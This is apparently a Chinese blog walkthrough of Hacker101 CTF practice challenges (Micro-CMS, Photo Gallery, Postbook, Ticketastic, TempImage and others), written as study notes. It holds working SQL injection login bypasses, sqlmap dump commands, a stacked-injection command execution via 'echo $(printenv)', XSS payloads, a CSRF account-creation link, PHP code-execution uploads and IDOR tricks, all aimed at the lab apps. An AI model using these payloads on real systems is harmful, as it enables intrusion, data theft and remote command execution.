hacker101-ctf-通关记录(一)
摘要:记录一下hacker101的通过记录
Trivial_A little something to get you started
flag1
访问https://xxx.ctf.hacker101.com/background.png即可得到flag1。
Easy_Micro-CMS v1
flag1
类型:sql注入
数字疑似page的id,添加一个'号进行测试,直接得到flag1。
flag2
类型:越权
遍历id,发现一个Private Page,得到flag2。
flag3
类型:xss
新建一个page,然后写入xss语句。
写入完成后,返回主界面,刷新,得到flag3。
flag4
类型:xss(绕过markdown过滤)
修改一个page,在内容中添加xss语句。
修改完成后,刷新,查看网页源码,得到flag4。
Moderate_Micro-CMS v2
flag1
类型:sql注入-union联合注入
发现有个登录框,试试能不能sql注入。
payload:
username=ddddddd' union select 'test' as password from admins where '1'='1'--+&password=test
可以看到已经是登录状态了。然后将获取到的cookie导入浏览器。发现有个pivate page。
访问private page得到flag1。
flag2
类型:越权
删除http body中的cookie,得到flag2。
flag3
类型:sql注入
直接sqlmap一把梭了。
命令如下:
sqlmap -r micro_cms_v2.txt -p username --dump --random-agent --force-ssl --batch --ignore-code=500 --risk 3 --level 5 -o
然后使用得到的账号和密码登录,得到flag3。
Moderate_Photo Gallery
flag1
类型:sql注入
看到图片的链接类型https://xxxxx.ctf.hacker101.com/fetch?id=1,直接扔进sqlmap跑跑。
//刚开始我没加--code=200,sqlmap跑出的photos表的内容为空,后面追加--code=200就好了。
//默认情况下在布尔型注入中 Sqlmap 通过比较返回页面内容来判断 True 或 False。
//但有时页面每次刷新都会不同,如页面中有动态广告。Sqlmap 会尽力判断出页面中动态的部分来,但并不总能成功。
//用户可以用参数--string指出代表 True 的页面会包含而代表 False 的页面不会包含的字符串以供 Sqlmap 判断 True 或 False。
//若这样的字符串是变动的还可以用参数--regexp指定一个正则表达式去匹配这样的字符串。
//或者用参数--not-string指出代表 False 的页面会包含而代表 True 的页面不会包含的字符串。
//或者更简单地,若是用户知道代表 True 的页面 HTTP 状态码为 200 而代表 False 的页面 HTTP 状态码不为 200 比如是 401,可以用--code参数告诉告诉 Sqlmap 这一信息,如--code=200。
sqlmap -u "https://xxxxx.ctf.hacker101.com/fetch?id=2" --dump --random-agent --force-ssl --risk 3 --level 5 --batch --code=200 --ignore-code=500 -o
得到flag1。
flag2
类型:sql注入、敏感文件泄露
我也没搞懂,最后看了别人发的文章才明白。为啥非得是main.py、uwsgi.ini这两个文件,因为题目中给了提示。
payload:
https://6594d9337937df1ff27d646a20cb6b3b.ctf.hacker101.com/fetch?id=4%20UNION%20SELECT%20%27uwsgi.ini%27--
https://6594d9337937df1ff27d646a20cb6b3b.ctf.hacker101.com/fetch?id=4%20UNION%20SELECT%20%27main.py%27--
可以发现网页返回了uwsgi.ini和main.py的文件内容。
from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess
app = Flask(__name__)
home = '''
<!doctype html>
<html>
<head>
<title>Magical Image Gallery</title>
</head>
<body>
<h1>Magical Image Gallery</h1>
$ALBUMS$
</body>
</html>
'''
viewAlbum = '''
<!doctype html>
<html>
<head>
<title>$TITLE$ -- Magical Image Gallery</title>
</head>
<body>
<h1>$TITLE$</h1>
$GALLERY$
</body>
</html>
'''
def getDb():
return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
def sanitize(data):
return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"')
@app.route('/')
def index():
cur = getDb().cursor()
cur.execute('SELECT id, title FROM albums')
albums = list(cur.fetchall())
rep = ''
for id, title in albums:
rep += '<h2>%s</h2>\n' % sanitize(title)
rep += '<div>'
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
rep += '</div>\n'
return home.replace('$ALBUMS$', rep)
@app.route('/fetch')
def fetch():
cur = getDb().cursor()
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
abort(404)
# It's dangerous to go alone, take this:
# ^FLAG^xxxxx$FLAG$
return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
在源码中得到flag2。
flag3
类型:命令执行、sql注入-堆叠注入
根据上面的源码发现有一个地方存在命令执行。
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
如果能控制能filename参数就可以执行任意命令。然后我就不会了。
后面根据别人写的文章,发现这里的sql注入是堆叠注入(allowMultiQueries)。
payload:
https://xxxxxxxxx.ctf.hacker101.com/fetch?id=3; UPDATE photos SET filename=";echo $(printenv)" WHERE id=3; commit;
然后访问https://xxxxxxxxx.ctf.hacker101.com/fetch?id=3,得到flag3。
备注
后面研究了下源码发现python3中操作mysql数据库主要使用mysqlclient-2.1.0-cp37-cp37m-win_amd64和PyMySQL两个库。
其中源码使用的是mysqlclient,mysqlclient默认支持sql语句堆叠执行.......无语。PyMySQL默认不支持sql语句堆叠执行的。
import MySQLdb
conn = MySQLdb.connect(host="127.0.0.1", user="root", password="root", db="cheshi")
cur = conn.cursor()
selectsql = "select * from yonghu where name = 'test';update yonghu set quanxian='no' where name='test';commit;"
cur.execute(selectsql)
conn.close()
Moderate_Cody's First Blog
flag1
类型:越权
查看页面源代码,发现有个疑似管理界面网址。
https://xxxxxx.ctf.hacker101.com/?page=admin.auth.inc
然后把管理界面网址中的auth去掉,发现可以访问界面。得到flag1。
flag2
类型:代码执行漏洞
对留言板进行fuzz发现写入php代码,得到flag2。
flag3
类型:代码执行漏洞-文件包含
由于在flag1中可以越权到管理员。进行管理员后,批准留言。
批准后,返回主页,发现php代码被注释了。根据上面提示"there's no risk in just using include",是php文件包含漏洞,
包含对象就是留言。
测试发现网址中的page参数是注入点。
然后在留言中留言。
<?php echo file_get_contents('index.php');?>
留言后访问https://xxxxxxx.ctf.hacker101.com/?page=http://localhost/index,在界面源码中得到flag3。
Easy_Postbook
flag1
类型:越权
payload:
https://xxxxxxxx.ctf.hacker101.com/index.php?page=profile.php&id=b
随便注册一个用户,然后登录进去。访问用户profile,发现参数id,尝试越权。
发现有个SECRET BLOG。点进去得到flag1。
flag2
类型:越权
发帖子,修改user_id,可以越权用别人的身份发帖子。
得到flag2。
flag3
有点莫名其妙,看来别人的writeup才找到找个flag。应该就是作者的一个小trick。
payload:
https://xxxxxx.ctf.hacker101.com/index.php?page=view.php&id=945
flag4
类型:越权
自己随便发个帖子,然后点击编辑。
然后把url链接后面的id,替换成0或者1就能够越权
得到flag4。
flag5
类型:弱口令
爆破用户名,得到一个弱密码。用户名为:user,密码为password。登录成功后得到flag5。
flag6
类型:越权
删除帖子时,发现url链接中的帖子id是md5加密的。
然后用md5(1)替换链接中的帖子id,发现可以直接删除别人的帖子。
替换后,点击删除。由此得到flag6。
flag7
类型:越权
cookie中的id为md5(用户id)。
admin的用户id为1,使用md5(1)替换cookie可以直接登录admin。
由此得到flag7。
Moderate_Ticketastic: Live Instance
flag1
类型:跨站请求伪造
根据提示If you're having problems with your installation of Ticketastic or the demo instance, please submit a ticket.应该是跨站请求伪造。然后我就不会了。查看别人写的writeup。
创建一个ticket,然后插入创建用户的超链接。
<a href="http://localhost/newUser?username=test&password=test&password2=test">TEST</a>
然后使用用户名:test,密码:test登录后台。
得到flag1。
flag2
类型:sql注入
sqlmap直接一把梭
payload:
sqlmap -r http_request.txt -p id --dump --random-agent --force-ssl --batch -o
得到flag2。
Easy_Petshop Pro
flag1
类型:逻辑漏洞-修改购物车金额
选择一件商品添加到购物车,然后将金额8.95改成0,点击check Out。
得到flag1。
flag2
类型:弱口令
通过url路径爆破发现管理后台,https://xxxxxx.ctf.hacker101.com/login。爆破用户名得到一个用户,用户名:rochell 密码:heinlein。
登录进去得到flag2。
flag3
类型:xss
登录进去后,修改商品的名称,然后插入xss代码。
<img src=x onerror=alert(1)>
插入后将商品添加进购物车,在购物车界面得到flag3。
Moderate_TempImage
flag1
类型:文件上传、路径遍历
上传一个png图片,后面追加php代码。上传成功。
发现上传文件的目录files没有执行权限。
尝试进行路径遍历,得到flag1。根据php报错信息,发现构造路径的不完整。
使用/../../继续进行构造成功绕过。
访问https://xxxxxx.ctf.hacker101.com/22.php,上传的文件已经可以执行。
flag2
类型:文件上传、路径遍历
根据flag1结果,已经上传执行任意php代码。
payload:
<?php system ("cat index.php");?>
得到flag2。
Moderate_XSS Playground by zseano
这道题目没有flag,有三个xss注入点。
xss1
payload:
1';a=alert,a(1);var c='
xss2
payload:
<svg onload=alert(1)//
xss3
始终没有找到,然后看看别人的writeup才找到。
注入点在custem.js这个javascript文件中。
payload:
POST /api/action.php?act=editbio HTTP/2
Host: xxxxxx.ctf.hacker101.com
Cookie: _ga=GA1.1.312887056.1704646825; _ga_K45575FWB8=GS1.1.1704646825.1.1.1704647127.55.0.0; welcome=1; rui=VTNqa0lVckZRTzE5eGFZcHlnVm05Skh0aHBiNmZGc2RXUFFoa3lLSVVmc1F3c1BxbkhlVWs1ZnlVaDhnaC9NOA%3D%3D; cui=MFRwV3N1NEJjOFhnUy85UUh1Z3F0Zz09; pui=cHg0K1QxOTlibEc2cEMzS2Ewdk1xamNIK1duYkpHQmZFMUVBYUZ5djBBMWxCOEJVblQweDQ5RVJnWU43aUp3Zw%3D%3D
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://xxxxx.ctf.hacker101.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
X-Safeprotection: enN1yw5vb2Zjb3Vyc2U=
Content-Length: 53
bio=%3cIMG%20src%3d1%20onmouseover%3dalert('xxsx')%3e
注入之后需要将返回的Set-Cookie: pui=xxxxx导入浏览器,刷新界面即可出现弹窗。(注意bio注入点有过滤。可以使用xss字典进行fuzz,当xss注入成功时pui会改变,xss被过滤pui不会改变。)
Moderate_OSU CTF
类型:sql注入、未授权访问漏洞
payload:
用户名:admin' or 1=1 #
然后就登录进去了。
登录进去后,题目要求是将"Natasha Drew"的成绩改为A。但是进去并没有修改成绩的的选项。
后面在app.min.js文件中发现一个update的接口。
在chrome中调试js代码,打断点设置s.admin=ture。
打完断点后,恢复js运行,发现可以修改列表中名字的成绩了
但是列表中的名字没有"Natasha Drew"。后来发现url中/update-student/TmFuY2llX0JyZXR0中的TmFuY2llX0JyZXR0是"Nancie_Brett"的base64编码。
要修改"Natasha Drew"的成绩,可以尝试把/update-student/TmFuY2llX0JyZXR0中的TmFuY2llX0JyZXR0换成"Natasha_Drew"的base64编码TmF0YXNoYV9EcmV3,即/update-student/TmF0YXNoYV9EcmV3。
得到flag。
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。